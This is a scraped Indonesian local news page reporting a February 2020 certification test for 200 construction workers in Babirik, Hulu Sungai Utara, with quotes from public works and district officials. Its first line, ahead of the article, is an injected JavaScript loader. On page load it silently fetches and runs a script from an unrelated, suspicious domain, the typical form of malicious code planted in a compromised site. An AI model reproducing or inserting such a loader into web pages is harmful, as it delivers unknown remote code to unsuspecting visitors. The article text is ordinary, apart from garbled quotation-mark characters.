(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN, AMUNTAI – Sebanyak 200 tenaga kerja bidang konstruksi dari 7 desa di Kecamatan Babirik Kabupaten Hulu Sungai Utara (HSU) ikut dalam kegiatan fasilitasi uji/sertifikasi tenaga kerja konstruksi yang diselenggarakan Kementerian Pekerjaan Umum Dan Perumahan Rakyat (PUPR), Direktorat Jenderal Bina Konstruksi Balai Jasa Konstruksi Wilayah V Banjarmasin.
Uji sertifikasi tenaga kerja konstruksi kerjasama dengan Dinas PUPRP Kabupaten HSU berlangsung di Balai Desa Murung Panti Hilir, Kecamantan Babirik, Kamis (20/2/2020).
Kegiatan dihadir Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin Ir Moody N Sanger, Surveyor Pemetaan Dinas PUPR HSU Nofi Yanti, Camat Babirik, Ketua Asosiasi Konstruksi Kabupaten HSU.
Uji sertifikasi tenaga kerja konstruksi kerjasama dengan Dinas PUPRP Kabupaten HSU berlangsung di Balai Desa Murung Panti Hilir, Kecamantan Babirik, Kamis (20/2/2020). foto : dew
Nofi Yanti, Surveyor Pemetaan Dinas PUPRP Kabupaten HSU mengatakan, kegiatan ini adalah untuk memenuhi syarat undang – undang yang mengatur tentang jasa konstruksi nomor 18 tahun 1999. Serta terkait Peraturan Menteri tentang pengadaan jasa konstruksi yang mana tenaga kerja konstruksi harus memiliki sertifikat, sebagai bukti kompetensi seseorang terhadap keahliannya.
“Sasaran yang hendak dicapai dari pelaksanaan kegiatan ini adalah masyarakat mendapatkan bukti pengakuan secara sah terhadap keterampilan yang dimiliki sesuai dengan keahliannya, meningkatkan kemampuan pengetahuan dalam proyek yang dapat menjadi sarana untuk meningkatkan karir secara profesional,†jelasnya.
Sementara itu, Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin Ir Moody N Sanger menekankan pentingnya memiliki sertifikat sebagai tanda profesional kerja.
“Selama berada ada di Indonesia, itu wajib memiliki sertifikat kompetensi kerja, saya yakin peserta sudah bekerja, menurut informasi kita akan memberi sertifikasi yang sudah memiliki pengalaman bekerja, kalo belum tentu belum bisa,†imbuhnya.
Camat Babirik Harrun Nurrasyid mengatakan, pembangunan infrastuktur membutuhkan tenaga ahli dan tenaga terampil, tenaga ahli diperlukan ijazah untuk membuktikan keahliannya, sedangkan tenaga terampil harus punya sertifikat yang menunjukan dia benar-benar terampil sebagai pengganti ijazah. “Sebagai salah satu syarat dalam proses tender maka perusahaan harus melampirkan sertifikat keahlian dan keterampilan,†ujarnya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
This website uses cookies.